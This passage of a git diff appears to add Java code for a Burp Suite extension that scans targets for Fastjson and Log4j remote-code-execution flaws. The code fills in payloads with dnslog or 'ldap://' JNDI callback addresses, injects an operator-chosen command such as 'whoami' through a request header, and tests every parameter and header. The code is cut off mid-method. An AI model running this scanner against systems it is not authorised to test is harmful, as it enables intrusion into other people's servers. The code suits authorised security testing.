+ configPanelTop.add(ipButton, new GridConstraints(1, 4, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
+ dnslogButton = new JButton();
+ dnslogButton.setText("保存");
+ configPanelTop.add(dnslogButton, new GridConstraints(0, 4, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
+ toolArgvLabel = new JLabel();
+ toolArgvLabel.setText("工具参数");
+ configPanelTop.add(toolArgvLabel, new GridConstraints(2, 4, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
+ refershButton = new JButton();
+ refershButton.setText("刷新");
+ configPanelTop.add(refershButton, new GridConstraints(3, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
+ deleteSelectButton = new JButton();
+ deleteSelectButton.setText("删除选中");
+ configPanelTop.add(deleteSelectButton, new GridConstraints(3, 1, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
+ clearHostButton = new JButton();
+ clearHostButton.setText("清空host过滤");
+ configPanelTop.add(clearHostButton, new GridConstraints(3, 2, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
+ configPanelDown = new JPanel();
+ configPanelDown.setLayout(new GridLayoutManager(1, 1, new Insets(0, 0, 0, 0), -1, -1));
+ configPanel.add(configPanelDown, BorderLayout.CENTER);
+ configPanelDownJscrollPanel = new JScrollPane();
+ configPanelDown.add(configPanelDownJscrollPanel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, null, null, null, 0, false));
+ configTable = new JTable(dataModel);
+ configPanelDownJscrollPanel.setViewportView(configTable);
+ }
+
+ private void setupData() {
+ ConfigBean dnsconfig = getConfig("config", "dnslog");
+ dnslogTextField.setText(dnsconfig.getValue());
+
+ ConfigBean ipconfig = getConfig("config", "ip");
+ ipTextField.setText(ipconfig.getValue());
+
+ toolNameTextField.setText("sqlmap");
+ toolArgvTextField.setText("python sqlmap.py -r {request} -u {url} -h {host}");
+
+ List toolParam = getToolConfig();
+ for (ConfigBean config : toolParam) {
+ addData(config.getType(), config.getValue());
+ }
+
+ refershButton.addActionListener(new AbstractAction() {
+ @Override
+ public void actionPerformed(ActionEvent e) {
+ List toolParam = getToolConfig();
+ data.clear();
+ for (ConfigBean config : toolParam) {
+ addData(config.getType(), config.getValue());
+ }
+ dataModel.fireTableDataChanged();
+ }
+ });
+
+ deleteSelectButton.addActionListener(new AbstractAction() {
+ @Override
+ public void actionPerformed(ActionEvent e) {
+
+ int[] selectedRows = configTable.getSelectedRows();
+ for (int i = selectedRows.length - 1; i >= 0; i--) {
+ int selectedRow = selectedRows[i];
+ String type = (String) configTable.getValueAt(selectedRow, 1);
+ deleteToolConfig(type);
+ data.remove(selectedRow);
+ dataModel.fireTableRowsDeleted(selectedRow, selectedRow);
+ dataModel.fireTableDataChanged();
+ }
+ }
+ });
+ clearHostButton.addActionListener(new AbstractAction() {
+ @Override
+ public void actionPerformed(ActionEvent e) {
+ // mark
+ // 弹出提示框
+ JOptionPane.showMessageDialog(null, "功能未实现", "提示", JOptionPane.INFORMATION_MESSAGE);
+ }
+ });
+
+ dnslogButton.addActionListener(new AbstractAction() {
+ @Override
+ public void actionPerformed(ActionEvent e) {
+ String module = "config";
+ String dns = dnslogTextField.getText();
+ ConfigBean config = new ConfigBean(module, "dnslog", dns);
+ saveConfig(config);
+ // 弹窗提示
+ JOptionPane.showMessageDialog(null, "保存成功", "提示", JOptionPane.INFORMATION_MESSAGE);
+ }
+ });
+
+ ipButton.addActionListener(new AbstractAction() {
+ @Override
+ public void actionPerformed(ActionEvent e) {
+ String module = "config";
+ String ip = ipTextField.getText();
+ ConfigBean config = new ConfigBean(module, "ip", ip);
+ saveConfig(config);
+ JOptionPane.showMessageDialog(null, "保存成功", "提示", JOptionPane.INFORMATION_MESSAGE);
+ }
+ });
+
+ toolButton.addActionListener(new AbstractAction() {
+ @Override
+ public void actionPerformed(ActionEvent e) {
+ String module = "tool";
+ String type = toolNameTextField.getText();
+ String value = toolArgvTextField.getText();
+ ConfigBean config = new ConfigBean(module, type, value);
+ saveConfig(config);
+ addData(type, value);
+ JOptionPane.showMessageDialog(null, "保存成功", "提示", JOptionPane.INFORMATION_MESSAGE);
+ }
+ });
+
+
+ }
+
+ // 添加数据
+ public void addData(String key, String value) {
+ synchronized (data) {
+ data.add(new LogEntry(data.size() + 1, key, value));
+ dataModel.fireTableDataChanged();
+ dataModel.fireTableRowsInserted(data.size() - 1, data.size() - 1);
+ }
+ }
+
+ @Override
+ public void init() {
+ setupUI();
+ setupData();
+ }
+
+ @Override
+ public JPanel getPanel(IBurpExtenderCallbacks callbacks) {
+ return panel;
+ }
+
+ @Override
+ public String getTabName() {
+ return "配置";
+ }
+
+ // 表格模型
+ static class ConfigModel extends AbstractTableModel {
+
+ @Override
+ public int getRowCount() {
+ return data.size();
+ }
+
+ @Override
+ public int getColumnCount() {
+ return 3;
+ }
+
+ @Override
+ public Object getValueAt(int rowIndex, int columnIndex) {
+ LogEntry dataEntry = data.get(rowIndex);
+ switch (columnIndex) {
+ case 0:
+ return dataEntry.id;
+ case 1:
+ return dataEntry.key;
+ case 2:
+ return dataEntry.value;
+ default:
+ return null;
+ }
+ }
+
+ @Override
+ public String getColumnName(int column) {
+ switch (column) {
+ case 0:
+ return "id";
+ case 1:
+ return "key";
+ case 2:
+ return "value";
+ default:
+ return null;
+ }
+ }
+ }
+
+ // 表格实体类
+ public static class LogEntry {
+ private final String key;
+ private final String value;
+ private int id;
+
+ public LogEntry(int id, String key, String value) {
+ this.id = id;
+ this.key = key;
+ this.value = value;
+ }
+
+ public LogEntry(String key, String value) {
+ this.key = key;
+ this.value = value;
+ }
+ }
+}
diff --git a/src/main/java/burp/ui/FastjsonUI.java b/src/main/java/burp/ui/FastjsonUI.java
new file mode 100644
index 0000000..ae551c9
--- /dev/null
+++ b/src/main/java/burp/ui/FastjsonUI.java
@@ -0,0 +1,402 @@
+package burp.ui;
+
+import burp.*;
+import burp.bean.ConfigBean;
+import burp.bean.FastjsonBean;
+import burp.utils.Utils;
+import com.intellij.uiDesigner.core.GridConstraints;
+import com.intellij.uiDesigner.core.GridLayoutManager;
+import com.intellij.uiDesigner.core.Spacer;
+
+import javax.swing.*;
+import javax.swing.table.AbstractTableModel;
+import javax.swing.table.TableModel;
+import java.awt.*;
+import java.awt.event.ActionEvent;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Objects;
+
+import static burp.dao.ConfigDao.getConfig;
+import static burp.dao.FastjsonDao.*;
+
+public class FastjsonUI implements UIHandler, IMessageEditorController {
+ private static final List log = new ArrayList<>();
+ private static JTable fastjsonTable;
+ private JPanel panel;
+ private JPanel fastjsonPanel;
+ private JButton fastjsonRefershButton;
+ private JButton fastjsonClearButton;
+ private JSplitPane fastjsonJSplitPane1;
+ private JSplitPane fastjsonJSplitPane2;
+ private JTabbedPane fastjsonJTabbedPanetop;
+ private JTabbedPane fastjsonJTabbedPanedown;
+ private JScrollPane fastjsonJScrollPane;
+ private IHttpRequestResponse currentlyDisplayedItem;
+ private IMessageEditor HRequestTextEditor;
+ private IMessageEditor HResponseTextEditor;
+
+ private static void add(String extensionMethod, String url, String status, String res, IHttpRequestResponse baseRequestResponse) {
+ synchronized (log) {
+ int id = log.size();
+ log.add(new LogEntry(id, extensionMethod, url, status, res, baseRequestResponse));
+ fastjsonTable.updateUI();
+ }
+ }
+
+ private void setupUI() {
+ panel = new JPanel();
+ panel.setLayout(new GridLayoutManager(1, 1, new Insets(0, 0, 0, 0), -1, -1));
+ fastjsonPanel = new JPanel();
+ fastjsonPanel.setLayout(new GridLayoutManager(2, 5, new Insets(0, 0, 0, 0), -1, -1));
+ panel.add(fastjsonPanel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false));
+ fastjsonRefershButton = new JButton();
+ fastjsonRefershButton.setText("刷新");
+ fastjsonPanel.add(fastjsonRefershButton, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
+ fastjsonClearButton = new JButton();
+ fastjsonClearButton.setText("清空数据");
+ fastjsonPanel.add(fastjsonClearButton, new GridConstraints(0, 1, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
+ fastjsonJSplitPane1 = new JSplitPane();
+ fastjsonJSplitPane1.setDividerSize(2);
+ fastjsonJSplitPane1.setOrientation(JSplitPane.VERTICAL_SPLIT);
+ fastjsonPanel.add(fastjsonJSplitPane1, new GridConstraints(1, 0, 1, 5, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, new Dimension(200, 200), null, 0, false));
+ fastjsonJSplitPane2 = new JSplitPane();
+ fastjsonJSplitPane2.setDividerSize(2);
+ fastjsonJSplitPane2.setResizeWeight(0.5);
+ fastjsonJSplitPane1.setRightComponent(fastjsonJSplitPane2);
+ fastjsonJTabbedPanetop = new JTabbedPane();
+ fastjsonJSplitPane2.setLeftComponent(fastjsonJTabbedPanetop);
+ HRequestTextEditor = Utils.callbacks.createMessageEditor(FastjsonUI.this, true);
+ HResponseTextEditor = Utils.callbacks.createMessageEditor(FastjsonUI.this, false);
+ fastjsonJTabbedPanetop.addTab("request", HRequestTextEditor.getComponent());
+ fastjsonJTabbedPanedown = new JTabbedPane();
+ fastjsonJSplitPane2.setRightComponent(fastjsonJTabbedPanedown);
+ fastjsonJTabbedPanedown.addTab("response", HResponseTextEditor.getComponent());
+ fastjsonJScrollPane = new JScrollPane();
+ fastjsonJSplitPane1.setLeftComponent(fastjsonJScrollPane);
+ FastjsonModel fastjsonModel = new FastjsonModel();
+ fastjsonTable = new URLTable(fastjsonModel);
+ fastjsonJScrollPane.setViewportView(fastjsonTable);
+ final Spacer spacer1 = new Spacer();
+ fastjsonPanel.add(spacer1, new GridConstraints(0, 2, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, 1, null, null, null, 0, false));
+
+ }
+
+ private void setupData() {
+
+ fastjsonRefershButton.addActionListener(new AbstractAction() {
+ @Override
+ public void actionPerformed(ActionEvent e) {
+ fastjsonTable.updateUI();
+ }
+ });
+ fastjsonClearButton.addActionListener(new AbstractAction() {
+ @Override
+ public void actionPerformed(ActionEvent e) {
+ log.clear();
+ HRequestTextEditor.setMessage(new byte[0], true);
+ HResponseTextEditor.setMessage(new byte[0], false);
+ fastjsonTable.updateUI();
+ }
+ });
+
+ }
+
+ public void CheckDnslog(IHttpRequestResponse[] responses) {
+ IHttpRequestResponse baseRequestResponse = responses[0];
+ IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse);
+ String extensionMethod = analyzeRequest.getMethod();
+ String url = analyzeRequest.getUrl().toString();
+ List headers = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders();
+ String res = "dnslog检测";
+ List payloads = getFastjsonListByDnsLog();
+ if (payloads.isEmpty()) {
+ JOptionPane.showMessageDialog(null, "请先添加dnslog payload", "提示", JOptionPane.ERROR_MESSAGE);
+ return;
+ }
+ String dnslog = "";
+ try {
+ ConfigBean dnslogKey = getConfig("config", "dnslog");
+ dnslog = dnslogKey.getValue();
+ if (dnslog.isEmpty()) {
+ JOptionPane.showMessageDialog(null, "请先在Config面板设置dnslog地址", "提示", JOptionPane.ERROR_MESSAGE);
+ return;
+ }
+ } catch (Exception e) {
+ JOptionPane.showMessageDialog(null, "数据库错误,请联系作者", "提示", JOptionPane.ERROR_MESSAGE);
+ return;
+ }
+ IHttpService iHttpService = baseRequestResponse.getHttpService();
+ for (FastjsonBean fastjson : payloads) {
+ String fastjsonDnslog = fastjson.getUrl();
+ String fuzzPayload = fastjsonDnslog.replace("FUZZ", dnslog);
+ byte[] bytePayload = Utils.helpers.stringToBytes(fuzzPayload);
+ byte[] postMessage = Utils.helpers.buildHttpMessage(headers, bytePayload); // 目前只支持post
+ IHttpRequestResponse resp = Utils.callbacks.makeHttpRequest(iHttpService, postMessage);
+ IResponseInfo iResponseInfo = Utils.callbacks.getHelpers().analyzeResponse(resp.getResponse());
+ String statusCode = String.valueOf(iResponseInfo.getStatusCode());
+ add(extensionMethod, url, statusCode, res, resp);
+ }
+
+ }
+
+ public void CheckEchoVul(IHttpRequestResponse[] responses) {
+ IHttpRequestResponse baseRequestResponse = responses[0];
+ IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse);
+ String extensionMethod = analyzeRequest.getMethod();
+ String url = analyzeRequest.getUrl().toString();
+ List headers = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders();
+ List payloads = getFastjsonListByEchoVul();
+ if (payloads.isEmpty()) {
+ JOptionPane.showMessageDialog(null, "请先添加echo payload", "提示", JOptionPane.ERROR_MESSAGE);
+ return;
+ }
+ // 弹出一个输入框,用于获取用户输入的dnslog地址
+ String defaultValue = "whoami";
+ String echoVul = (String) JOptionPane.showInputDialog(null, "请输入echo 命令", "提示", JOptionPane.PLAIN_MESSAGE, null, null, defaultValue);
+ IHttpService iHttpService = baseRequestResponse.getHttpService();
+ Iterator iterator = payloads.iterator();
+ headers.add("Accept-Cache: " + echoVul);
+ while (iterator.hasNext()) {
+ FastjsonBean fastjson = iterator.next();
+ String fastjsonEcho = fastjson.getUrl();
+ byte[] bytePayload = Utils.helpers.stringToBytes(fastjsonEcho);
+ byte[] postMessage = Utils.helpers.buildHttpMessage(headers, bytePayload); // 目前只支持post
+ IHttpRequestResponse resp = Utils.callbacks.makeHttpRequest(iHttpService, postMessage);
+ IResponseInfo iResponseInfo = Utils.callbacks.getHelpers().analyzeResponse(resp.getResponse());
+ String statusCode = String.valueOf(iResponseInfo.getStatusCode());
+ List headersResp = iResponseInfo.getHeaders();
+ boolean containsContentAuth = false;
+ for (String header : headersResp) {
+ if (header.contains("Content-auth")) {
+ containsContentAuth = true;
+ break;
+ }
+ }
+ if (containsContentAuth) {
+ add(extensionMethod, url, statusCode, "echo命令检测成功", resp);
+ } else {
+ add(extensionMethod, url, statusCode, "echo命令检测失败", resp);
+ }
+ }
+ }
+
+ public void CheckJNDIVul(IHttpRequestResponse[] responses) {
+ IHttpRequestResponse baseRequestResponse = responses[0];
+ IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse);
+ String extensionMethod = analyzeRequest.getMethod();
+ String url = analyzeRequest.getUrl().toString();
+ List headers = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders();
+ try {
+ List payloads = getFastjsonListByJNDI();
+ if (payloads.isEmpty()) {
+ JOptionPane.showMessageDialog(null, "请先添加jndi payload", "提示", JOptionPane.ERROR_MESSAGE);
+ return;
+ }
+ String jndiStr = "";
+ String defaultValue = "IP"; // 设置默认值
+ String[] options = {"DNS", "IP"}; // 单选框选项
+ String selectedValue = (String) JOptionPane.showInputDialog(null, "请选择类型", "提示",
+ JOptionPane.PLAIN_MESSAGE, null, options, defaultValue);
+ if (Objects.equals(selectedValue, "DNS")) {
+ try {
+ ConfigBean config = getConfig("config", "dnslog");
+ String dnslog = config.getValue();
+ if (dnslog.isEmpty()) {
+ JOptionPane.showMessageDialog(null, "请先在Config面板设置dnslog地址", "提示", JOptionPane.ERROR_MESSAGE);
+ return;
+ } else {
+ jndiStr = dnslog;
+ }
+ } catch (Exception e) {
+ JOptionPane.showMessageDialog(null, "数据库错误,请联系作者", "提示", JOptionPane.ERROR_MESSAGE);
+ return;
+ }
+ } else if (Objects.equals(selectedValue, "IP")) {
+ try {
+ ConfigBean config = getConfig("config", "ip");
+ String ip = config.getValue();
+ if (ip.isEmpty()) {
+ JOptionPane.showMessageDialog(null, "请先在Config面板设置IP地址", "提示", JOptionPane.ERROR_MESSAGE);
+ return;
+ } else {
+ jndiStr = ip;
+ }
+ } catch (Exception e) {
+ JOptionPane.showMessageDialog(null, "数据库错误,请联系作者", "提示", JOptionPane.ERROR_MESSAGE);
+ return;
+ }
+ }
+
+ IHttpService iHttpService = baseRequestResponse.getHttpService();
+ for (FastjsonBean payload : payloads) {
+ String dnslogKey = "";
+
+ String fastjsonJNDI = payload.getUrl();
+ String id = String.valueOf(payload.getId());
+ if (selectedValue.equals("DNS")) {
+ dnslogKey = "ldap://" + id + "." + jndiStr;
+ } else {
+ dnslogKey = "ldap://" + jndiStr + "/" + id;
+ }
+ String fuzzPayload = fastjsonJNDI.replace("FUZZ", dnslogKey);
+ byte[] bytePayload = Utils.helpers.stringToBytes(fuzzPayload);
+ byte[] postMessage = Utils.helpers.buildHttpMessage(headers, bytePayload); // 目前只支持post
+ IHttpRequestResponse resp = Utils.callbacks.makeHttpRequest(iHttpService, postMessage);
+ IResponseInfo iResponseInfo = Utils.callbacks.getHelpers().analyzeResponse(resp.getResponse());
+ String statusCode = String.valueOf(iResponseInfo.getStatusCode());
+ add(extensionMethod, url, statusCode, "jndi检测完成,请查看dnslog服务器", resp);
+ }
+ } catch (Exception e) {
+ Utils.stderr.println(e.getMessage());
+ }
+ }
+
+ public void CheckVersion(IHttpRequestResponse[] responses) {
+ IHttpRequestResponse baseRequestResponse = responses[0];
+ IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse);
+ String extensionMethod = analyzeRequest.getMethod();
+ String url = analyzeRequest.getUrl().toString();
+ List headers = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders();
+ List payloads = getFastjsonListByVersion();
+ if (payloads.isEmpty()) {
+ JOptionPane.showMessageDialog(null, "请先添加version payload", "提示", JOptionPane.ERROR_MESSAGE);
+ return;
+ }
+ IHttpService iHttpService = baseRequestResponse.getHttpService();
+ for (FastjsonBean fastjson : payloads) {
+ String fastjsonVersion = fastjson.getUrl();
+ byte[] bytePayload = Utils.helpers.stringToBytes(fastjsonVersion);
+ byte[] postMessage = Utils.helpers.buildHttpMessage(headers, bytePayload); // 目前只支持post
+ IHttpRequestResponse resp = Utils.callbacks.makeHttpRequest(iHttpService, postMessage);
+ IResponseInfo iResponseInfo = Utils.callbacks.getHelpers().analyzeResponse(resp.getResponse());
+ String statusCode = String.valueOf(iResponseInfo.getStatusCode());
+ add(extensionMethod, url, statusCode, "version检测完成", resp);
+ }
+ }
+
+ @Override
+ public IHttpService getHttpService() {
+ return currentlyDisplayedItem.getHttpService();
+ }
+
+ @Override
+ public byte[] getRequest() {
+ return currentlyDisplayedItem.getRequest();
+ }
+
+ @Override
+ public byte[] getResponse() {
+ return currentlyDisplayedItem.getResponse();
+ }
+
+ @Override
+ public void init() {
+ setupUI();
+ setupData();
+
+ }
+
+ @Override
+ public JPanel getPanel(IBurpExtenderCallbacks callbacks) {
+ return panel;
+ }
+
+ @Override
+ public String getTabName() {
+ return "fastjson";
+ }
+
+ static class FastjsonModel extends AbstractTableModel {
+
+ @Override
+ public int getRowCount() {
+ return log.size();
+ }
+
+ @Override
+ public int getColumnCount() {
+ return 5;
+ }
+
+ @Override
+ public Object getValueAt(int rowIndex, int columnIndex) {
+ LogEntry logEntry = log.get(rowIndex);
+ switch (columnIndex) {
+ case 0:
+ return logEntry.id;
+ case 1:
+ return logEntry.extensionMethod;
+ case 2:
+ return logEntry.url;
+ case 3:
+ return logEntry.status;
+ case 4:
+ return logEntry.res;
+ default:
+ return "";
+ }
+ }
+
+ @Override
+ public String getColumnName(int column) {
+ switch (column) {
+ case 0:
+ return "id";
+ case 1:
+ return "method";
+ case 2:
+ return "url";
+ case 3:
+ return "status";
+ case 4:
+ return "res";
+ default:
+ return "";
+ }
+
+ }
+
+ }
+
+ private static class LogEntry {
+ final int id;
+ final String extensionMethod;
+ final String url;
+ final String status;
+ final String res;
+
+ final IHttpRequestResponse requestResponse;
+
+
+ private LogEntry(int id, String extensionMethod, String url, String status, String res, IHttpRequestResponse requestResponse) {
+ this.id = id;
+ this.extensionMethod = extensionMethod;
+ this.url = url;
+ this.status = status;
+ this.res = res;
+ this.requestResponse = requestResponse;
+ }
+ }
+
+ private class URLTable extends JTable {
+ public URLTable(TableModel tableModel) {
+ super(tableModel);
+ }
+
+ @Override
+ public void changeSelection(int row, int col, boolean toggle, boolean extend) {
+ LogEntry logEntry = log.get(row);
+ HRequestTextEditor.setMessage(logEntry.requestResponse.getRequest(), true);
+ if (logEntry.requestResponse.getResponse() == null) {
+ HResponseTextEditor.setMessage(new byte[0], false);
+ } else {
+ HResponseTextEditor.setMessage(logEntry.requestResponse.getResponse(), false);
+ }
+ currentlyDisplayedItem = logEntry.requestResponse;
+ super.changeSelection(row, col, toggle, extend);
+ }
+ }
+
+}
diff --git a/src/main/java/burp/ui/Log4jUI.java b/src/main/java/burp/ui/Log4jUI.java
new file mode 100644
index 0000000..359abe5
--- /dev/null
+++ b/src/main/java/burp/ui/Log4jUI.java
@@ -0,0 +1,768 @@
+package burp.ui;
+
+import burp.*;
+import burp.bean.ConfigBean;
+import burp.bean.Log4jBean;
+import burp.utils.JsonUtils;
+import burp.utils.Utils;
+import com.alibaba.fastjson.JSON;
+import com.intellij.uiDesigner.core.GridConstraints;
+import com.intellij.uiDesigner.core.GridLayoutManager;
+import org.springframework.util.DigestUtils;
+
+import javax.swing.*;
+import javax.swing.table.AbstractTableModel;
+import javax.swing.table.TableModel;
+import java.awt.*;
+import java.awt.event.ActionEvent;
+import java.util.List;
+import java.util.*;
+
+import static burp.IParameter.*;
+import static burp.dao.ConfigDao.getConfig;
+import static burp.dao.ConfigDao.saveConfig;
+import static burp.dao.Log4jDao.*;
+
+public class Log4jUI implements UIHandler, IMessageEditorController, IHttpListener {
+ private static final List log = new ArrayList<>();
+ private static JTable log4jTable;
+ private static boolean enableHeader;
+ private static boolean enableParam;
+ private static boolean enableWhiteDomain;
+ private static boolean originalPayload;
+ private static boolean passiveScan;
+ private static final List parameterList = new ArrayList<>();
+ private static final List urlHashList = new ArrayList<>();
+ private JPanel panel;
+ private JCheckBox passiveBox;
+ private JCheckBox headerBox;
+ private JCheckBox dnsIpCheckBox;
+ private JCheckBox orgpayloadCheckBox;
+ private JCheckBox paramBox;
+ private JCheckBox whiteDomainCheckBox;
+ private JButton saveWhiteDomainButton;
+ private JTextField whiteDomaintextField;
+ private JButton refershTableButton;
+ private JButton clearTableButton;
+ private JButton savePayloadButton;
+ private JButton saveHeaderButton;
+ private JEditorPane headertextField;
+ private JEditorPane payloadtextField;
+ private JTabbedPane tabbedPane2;
+ private JTabbedPane tabbedPane3;
+ private IHttpRequestResponse currentlyDisplayedItem;
+ private IMessageEditor HRequestTextEditor;
+ private IMessageEditor HResponseTextEditor;
+
+ public static void Check(IHttpRequestResponse[] responses) {
+ IHttpRequestResponse baseRequestResponse = responses[0];
+ IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse);
+ List reqheaders = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders();
+ String method = analyzeRequest.getMethod();
+ String url = analyzeRequest.getUrl().toString();
+ List paraLists = analyzeRequest.getParameters();
+ // url 中为静态资源,直接返回
+ List suffix = Utils.getSuffix();
+ for (String s : suffix) {
+ if (url.endsWith(s) || url.contains(s)) {
+ return;
+ }
+ }
+
+ // 对url进行hash去重
+ for (IParameter paraList : paraLists) {
+ String paraName = paraList.getName();
+ parameterList.add(paraName);
+ }
+ if (!checkUrlHash(method + url + parameterList.toString())) {
+ return;
+ }
+
+
+ ConfigBean enableHeaderConfig = getConfig("log4j", "log4jHeaderCheckBox");
+ enableHeader = enableHeaderConfig.getValue().equals("true");
+ ConfigBean enableWhiteDomainConfig = getConfig("log4j", "log4jWhiteDomainCheckBox");
+ enableWhiteDomain = enableWhiteDomainConfig.getValue().equals("true");
+ ConfigBean originalPayloadConfig = getConfig("log4j", "log4jOrgPayloadCheckBox");
+ originalPayload = originalPayloadConfig.getValue().equals("true");
+ ConfigBean paramCheckBoxConfig = getConfig("log4j", "log4jParamCheckBox");
+ enableParam = paramCheckBoxConfig.getValue().equals("true");
+
+
+ if (enableWhiteDomain) {
+ ConfigBean whiteSqlDomain = getConfig("log4j", "log4jWhiteDomain");
+ String whiteDomain = whiteSqlDomain.getValue();
+ if (whiteDomain.isEmpty()) {
+ JOptionPane.showMessageDialog(null, "已开启白名单扫描,请先设置白名单域名", "提示", JOptionPane.ERROR_MESSAGE);
+ return;
+ }
+ if (!url.contains(whiteDomain)) {
+ // 不在白名单域名中,直接返回
+ return;
+ }
+ }
+
+ // 先将payload存储
+ Set log4jPayload = new LinkedHashSet<>();
+ List payloadList = getPayloadList();
+ if (payloadList.isEmpty()) {
+ JOptionPane.showMessageDialog(null, "请先添加payload", "提示", JOptionPane.ERROR_MESSAGE);
+ return;
+ }
+ // 将数据库中的payload加入到列表
+ for (Log4jBean log4j : payloadList) {
+ if (originalPayload) {
+ log4jPayload.add(log4j.getValue());
+ } else {
+ if (log4j.getValue().contains("dnslog-url")) {
+ if (getConfig("log4j", "log4jDnsIpCheckBox").getValue().equals("true")) {
+ try {
+ String dns = getConfig("config", "dnslog").getValue();
+ if (dns.isEmpty()) {
+ JOptionPane.showMessageDialog(null, "已勾选dnslog,请先设置dnslog地址", "提示", JOptionPane.ERROR_MESSAGE);
+ return;
+ }
+ String logPrefix = getReqTag(baseRequestResponse, analyzeRequest, "dns");
+ log4jPayload.add(log4j.getValue().replace("dnslog-url", logPrefix + dns));
+ } catch (Exception e) {
+ JOptionPane.showMessageDialog(null, "数据库初始化失败,请联系作者", "提示", JOptionPane.ERROR_MESSAGE);
+ return;
+ }
+// log4jPayload.add(utils.urlEncode(log4j.getValue()).replace("dnslog-url", logPrefix+dns));
+
+ } else {
+ try {
+ String ip = getConfig("config", "ip").getValue();
+ if (ip.isEmpty()) {
+ JOptionPane.showMessageDialog(null, "已勾选ip,请先设置ip地址", "提示", JOptionPane.ERROR_MESSAGE);
+ return;
+ }
+ String logPrefix = getReqTag(baseRequestResponse, analyzeRequest, "ip");
+ log4jPayload.add(log4j.getValue().replace("dnslog-url", ip + "/" + logPrefix));
+ } catch (Exception e) {
+ JOptionPane.showMessageDialog(null, "数据库初始化失败,请联系作者", "提示", JOptionPane.ERROR_MESSAGE);
+ return;
+ }
+// log4jPayload.add(utils.urlEncode(log4j.getValue()).replace("dnslog-url", ip+"/"+logPrefix));
+
+ }
+ } else {
+ log4jPayload.add(log4j.getValue());
+ }
+ }
+ }
+
+ // 检测参数
+ if (enableParam) {
+ for (IParameter para : paraLists) {
+ if (para.getType() == PARAM_URL || para.getType() == PARAM_BODY || para.getType() == PARAM_JSON) {
+ String paraName = para.getName();
+ String paraValue = para.getValue();
+ // 判断参数是否在url中
+ if (para.getType() == PARAM_URL || para.getType() == PARAM_BODY) {
+ for (String logPayload : log4jPayload) {
+ IParameter iParameter = Utils.helpers.buildParameter(paraName, logPayload, para.getType());
+ byte[] bytes = Utils.helpers.updateParameter(baseRequestResponse.getRequest(), iParameter);
+ IHttpRequestResponse newRequestResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), bytes);
+ IResponseInfo analyzeResponse = Utils.helpers.analyzeResponse(newRequestResponse.getResponse());
+ byte[] sqlresponseBody = newRequestResponse.getResponse();
+ String ParamLength = "";
+ String ParamstatusCode = String.valueOf(analyzeResponse.getStatusCode());
+ if (sqlresponseBody != null) {
+ // 判断有无Content-Length字段
+ IResponseInfo ReqResponse = Utils.helpers.analyzeResponse(sqlresponseBody);
+ List sqlHeaders = ReqResponse.getHeaders();
+ for (String header : sqlHeaders) {
+ if (header.contains("Content-Length")) {
+ ParamLength = header.split(":")[1].trim();
+ break;
+ }
+ }
+ }
+ if (ParamLength.isEmpty()) {
+ assert sqlresponseBody != null;
